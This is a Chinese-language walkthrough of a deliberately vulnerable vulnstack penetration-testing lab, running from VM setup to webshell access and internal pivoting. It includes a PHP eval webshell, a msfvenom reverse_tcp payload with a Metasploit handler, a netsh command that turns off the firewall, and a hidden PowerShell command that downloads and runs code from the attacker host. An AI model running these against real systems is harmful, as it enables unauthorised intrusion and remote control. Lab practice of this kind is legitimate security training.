环境准备

1：下载地址：http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
2：环境介绍：

共有三台机器，win7是对外的web机，win2003和win2008是内网机器

3：网络拓扑

搭建环境

1：三台机器都连接到vm1网卡
2：关闭vmware在vm1网卡上的DHCP功能
3：给win7添加一个网卡（win2003和win2008只有一块网卡），采用NAT
4：kali使用NAT
5：给以上机器拍摄快照
6：三台靶机全部开机

配置靶机

下面的配置操作建议做一下，不然实验的时候会很闹心。

三台靶机的默认密码是 hongrisec@2019

配置win2008

1：重设密码
登录win2008会被提示密码已经过期，需要重设密码，重设一个即可。注意，你是给liukaifeng01改了密码

2：不要手贱
开机之后会看到一个提示，要你重启计算机，不要答应它，选择稍后重启，然后就可以不用管它了
3：推荐设置管理员账号永不过期

配置win7

1：关于移除设备
有的人会习惯移除“打印机”、“声卡”、“CD/DVD(IDE)”诸类的设备，但是不要在win7上这样做，尤其是不能移除“打印机”，否则phpstudy会启动失败
2：不要手贱
开机之后会看到一个提示，要你重启计算机，不要答应它，选择稍后重启，然后就可以不用管它了
3：开启phpstudy
在文件目录：C:\phpStudyphpStudy.exe
4：检查一下ip
也许你的IP正常，但是我的机器出错了，在一块网卡使用VM1，一块网卡使用NAT的情况下，无法获取到NAT的地址。但是其他机器能正常获取NAT地址，方案可以参考vmware网卡排雷
此处解决办法如下，使用三块网卡，NAT能够正常使用了，但是桥接的网卡是192.254.124.253，不能用，正好符合实验环境：

5：确认web服务开启
输入win7对外IP可以看到phpStudy探针，说明正常。如果网络配置正常还无法正常访问，请试试设置防火墙规则，然后重启phpStudy

信息收集

nmap信息收集

看到目标开启了80、3306端口，那就先看看网站

登录网站，首先看到如下页面

存在如下问题：

http明文传输
服务器指纹泄露（系统、Apache、PHP版本）
phpinfo信息泄露
mysql数据库弱口令
mysql数据库口令爆破
phpstudy后门（待检测）

目录爆破

御剑走一波

探测网站

依次访问御剑爆出的一些目录：

探测phpmyadmin

使用弱密码root成功登录phpmyadmin，看到了一个名为newyxcms的表，（cms：内容管理系统）

存在如下问题：

外网可以访问phpmyadmin（默认情况下只能localhost访问）

基本可以确认网站使用的是yxcms，试试能不能访问，在“公告信息”中知道网站后台账密是admin:123456，地址是/index.php?r=admin

探测beifen.rar

确定了网站的版本是1.2.1，可以考虑找一找这个版本的漏洞，但是已经在“公告信息”里面看到了后台登录账密，就不费那心思了

网站后台

在“前台模板” 中看见自己可以编辑模板，模板通常可以自定义php文件，而如果可以自定义php文件直接就可以上一句话木马了

渗透攻击

getshell

1：写入一句话木马

<?php @eval($_REQUEST[777])?>

2：找到info.php所在路径

protected/apps/default/view

3：蚁剑连接

http://192.168.40.128/yxcms/protected/apps/default/view/default/info.php

编码设置使用默认的UTF8，有的内容会出现乱码，这里使用GBK编码

收集系统信息

关闭防火墙：netsh advfirewall set allprofiles state off

上传木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.3.139.50 lport=4444 -f exe -o re.exe

反弹shell连接msf

1：msf监听

use exploit/multi/handler
show options
set payload windows/meterpreter/reverse_tcp
set lhost 10.3.139.50
run

2：启动木马

win7信息收集

当前收到的meterpreter来自win7

1：收集补丁信息

run post/windows/gather/enum_patches

2：安装的软件信息，发现有nmap，可以直接利用nmap对内网52网段进行扫描

run post/windows/gather/enum_applications

添加路由

添加路由：run autoroute -s 192.168.52.0 255.255.255.0
查看路由：run autoroute -p

内网渗透

内网主机发现

使用arp扫描，发现内网中共有三台主机

run post/windows/gather/arp_scanner rhosts=192.168.52.0/24

msf起代理

meterpreter > background  隐藏到后台
use auxiliary/server/socks5
show options
run

修改proxychains

sudo vim /etc/proxychains.conf

nmap内网主机发现

nmap扫描凉凉

不怕，还记得在msf收集信息的时候发现win7有nmap吗？使用蚁剑来做个扫描。

由于依然无法只用nmap做全面的主机发现，所以使用msf主机发现的结果来做扫描

使用Cobalt Strike

前面做的很不顺利，改用Cobalt Strike，使用cs的前提是需要获取到shell，即：当蚁剑拿到shell时就可以使用cs了
cs服务器在kali上面启动

sudo chmod +x teamserver
sudo ./teamserver 10.3.139.50 123456 &

cs客户机在kali上面启动

sudo chmod +x start.sh
./start.sh

重启kali依然登录cs被拒，今天真是太难了::>_<::

排雷补充：
启动cs服务器的时候，不让它在后台运行，即可
（不过我用另外一台kali把cs放后台可以正常使用）

因为种种原因第一次做的不大顺利，现在第二次做，下面的4个ip无需记忆，只是为了解释部分截图IP不一致的问题，重点在于理解操作上的逻辑

kali的IP（原本）192.168.40.147—–>（现在）10.3.139.50

win7的IP（原本）192.168.40.128——->（现在）10.3.139.51

设置监听器

因为win7是web服务器，所以使用HTTP来建立连接，这意味着cs不能主动联系肉鸡，只能肉鸡来主动连接cs接收命令。默认情况下肉鸡会每隔60秒来cs服务端下载命令，在服务端执行完命令之后，会把命令的执行结果以HTTP的POST方式传到服务端。

（请把下面的ip当作是10.3.139.50）

生成Web Delivery

生成木马，文件或者命令

接下来它会生成一个powershell命令，如

#powershell 是Windows 系统自带组件
#无需上传文件到目标服务器磁盘
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.40.147:80/a'))"

拿下主机

蚁剑的虚拟终端执行命令，cs拿到上线主机

可以看到，肉鸡每隔60秒才会来连接服务器，做实验的话太慢了，调整一下时间，需要等60秒才能生效

【下面三级标题的内容是给我自己看的，读者可以忽略】

进入命令行

所有的图形化操作都可以在命令行里面显示，也可以直接在命令行里面写命令

如果记录键盘的话还是迁移一下注入的进程比较好，不要迁移到SYSTEM的进程里面去，因为SYSTEM是机器账户，不能登录系统，也自然不能记录它的键盘

内网信息收集

端口扫描

beacon|右键|Explore|Port Scan

扫的啥玩意啊，只发现了我自个

排查网络时发现，win7与其他机器网络不通了，解除问题之后再扫一遍

就这？还是nmap吧！cs下nmap正常发挥

漏洞扫描

扫描过程有点慢，耐心点，会拿到丰厚战果（考虑到前面使用msf拿win7并不好用，这里仅作扫描，不再联动msf）
